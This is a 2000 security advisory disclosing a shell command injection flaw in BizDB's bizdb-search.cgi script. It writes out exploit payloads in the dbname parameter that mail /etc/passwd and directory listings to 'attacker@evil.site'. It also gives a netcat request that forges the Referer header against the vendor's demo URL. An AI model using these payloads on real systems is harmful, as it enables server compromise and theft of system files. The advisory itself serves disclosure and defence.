Black Watch Labs Security Advisory #00-04 (April 6, 2000) - BizDB is a database and search engine software by Cnctek. Part of the installation is a CGI script, ?bizdb-search.cgi? which is used to search the bizdb database. This script is vulnerable to modification of its paramater, in such way that causes it to run user provided shell commands on the server. Exploit URL's included. These issues have been resolved in newer versions of this software, make sure to upgrade!
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Vendor response: The security bugs have been fixed in all the more recent versions this software. Upgrade!
Black Watch Lab - Vulnerabilities
Black Watch Labs ID: BWL-00-04
BizDB Search Script Enables Shell Command Execution at the Server
Black Watch Labs Security Advisory #00-04 (April 06, 2000)
Name:
BizDB Search Script Enables Shell Command Execution at the Server
Black Watch Labs ID:
BWL-00-04
Date Released:
April 6, 2000
Category:
Application (HTML) - parameter modification
Products affected:
BizDB
Number of affected sites/pages/users:
We assume up to a thousand pages utilize BizDB
Summary:
BizDB is a database and search engine software by Cnctek. Part of the installation is a CGI script, bizdb-search.cgi
which is used to search the bizdb database. This script is vulnerable to modification of its paramater, in such way
that causes it to run user provided shell commands on the server.
Analysis:
The bizdb-search.cgi script is probably a Perl script which utilizes the open command without protection or input
sanity checks. The open command is used in order to open the database whose name appears in the user input. As a
result, an attacker can change this parameter and take advantage of the piping feature, so that instead of the
original database file name, say bizdb, the attacker sends ; ... exploit commands ...|, such as:
;cat%20/etc/passwd|mail%20attacker@evil.site|,
in order to send the contents of /etc/passwd file (assuming a UNIX server) to the attackers email account. The script
optionally checks for the HTTP_REFERER field to possess some specific value (that of the referring page), but this
field can easily be forged if the request is generated by a raw TCP/IP client (such as netcat, and perhaps even
telnet), by sending the raw GET request line (GET url HTTP/1.0) followed by a Referer line (Referer: page), where the
page is the one in which the form was found.
Exploits:
The demonstration area provided by Cnctek has a link that searches for all companies in the database whose name starts
with A. This link is
http://www.cnctek.com/cgi-bin/bizdb1-search.cgi?template=bizdb-
summary&dbname=bizdb&f6=^a.*&action=searchdbdisplay
(this link does not work as it does not contain the referrer, which is why netcat must be used to exploit the
vulnerability).
If an attacker changes the dbname parameter into:
;ls|mail%20attacker@evil.site|
and sends the modified request:
http://www.cnctek.com/cgi-bin/bizdb1-search.cgi?template=bizdb-
summary&dbname=;ls|mail%
20attacker@evil.site|&f6=^a.*&action=searchdbdisplay,
the results of the ls command will be sent to the attackers email account. The arguments for the netcat command should
be www.cnctek.com 80, and the exact lines for the netcat input (i.e. the HTTP request) are:
GET /cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%
20attacker@evil.site|&f6=^a.*&action=searchdbdisplay HTTP/1.0
Host: www.cnctek.com
Referer: http://www.cnctek.com/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)
Vendor Status:
The vendor was contacted, but does not seem to understand the nature of the problem. In their reply, they claim that
there exists a mechanism that prevents the exploit. We strongly suspect they refer to ensuring that the HTTP_REFERER
environment variable matches the referring page in the site. Again, this provides no extra security, as it can by
easily bypassed by forging the HTTP request.
Vendor Patch or workaround:
No patch or workaround available at the time of this release.
References and Links:
CNCTek: http://www.cnctek.com/
BizDB section: http://www.cnctek.com/bizdb-html/
BizDB demonstration: http://www.cnctek.com/cgi-bin/bizdb1-search.cgi?bizdb-search
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